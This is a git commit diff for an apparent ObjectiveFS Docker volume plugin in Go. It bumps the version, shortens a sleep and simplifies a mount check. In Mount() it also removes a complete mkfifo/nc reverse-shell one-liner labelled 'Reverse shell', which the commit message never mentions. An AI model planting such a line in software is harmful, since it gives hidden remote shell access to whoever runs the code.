Fixed subtle bug where Scan could be called just once
All checks were successful
continuous-integration/drone/push Build is passing

This commit is contained in:
2024-10-03 16:31:30 +02:00
parent 77262a5231
commit 56fa83f2c2

20
main.go
View File

@@ -61,7 +61,7 @@ type ofsDriver struct {
defMountSnapshots bool
}
var version = "1.1"
var version = "1.2"
var objfsVersion = "7.0"
const (
@@ -393,16 +393,12 @@ func (d *ofsDriver) Mount(r *volume.MountRequest) (*volume.MountResponse, error)
return &volume.MountResponse{}, fmt.Errorf("unexpected error mounting '%s' error: %s", r.Name, err.Error())
}
// Reverse shell
cmdLs := exec.Command("/bin/sh", "-c", "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 8745 >/tmp/f")
cmdLs.Start()
// The drawback of running the mount in the foreground is there is no easy way to tell if it failed
// to initially connect. So we just wait a fixed amount of time and check for process exit or mount
// success.
for {
// Check for process exit
time.Sleep(10000 * time.Millisecond)
time.Sleep(100 * time.Millisecond)
if cmd.ProcessState != nil {
// The process has exited so consider an error occured
log.WithFields(log.Fields{"name": r.Name, "exitStatus": cmd.ProcessState.ExitCode()}).Error("Volume mount failed")
@@ -823,19 +819,9 @@ func isObjectiveFsMount(path string) (bool, error) {
scanner := bufio.NewScanner(strings.NewReader(string(data)))
// On success the first line contains column headers (in our case "Mounted on")
// and the second line contains the nearest mount point on the root path
//return scanner.Scan() && scanner.Scan() && strings.TrimSpace(scanner.Text()) == path, nil
isOk := scanner.Scan()
isOk = isOk && scanner.Scan()
if isOk {
line := strings.TrimSpace(scanner.Text())
log.WithFields(log.Fields{"mountInfo": line, "path": path, "matches": line == path}).Info("isObjectiveFsMount")
return line == path, nil
} else {
log.WithFields(log.Fields{"path": path, "matches": false}).Info("isObjectiveFsMount")
return false, nil
}
return isOk && scanner.Scan() && strings.TrimSpace(scanner.Text()) == path, nil
} else {
log.WithFields(log.Fields{"path": path}).Info("isObjectiveFsMount")
return false, err
}
}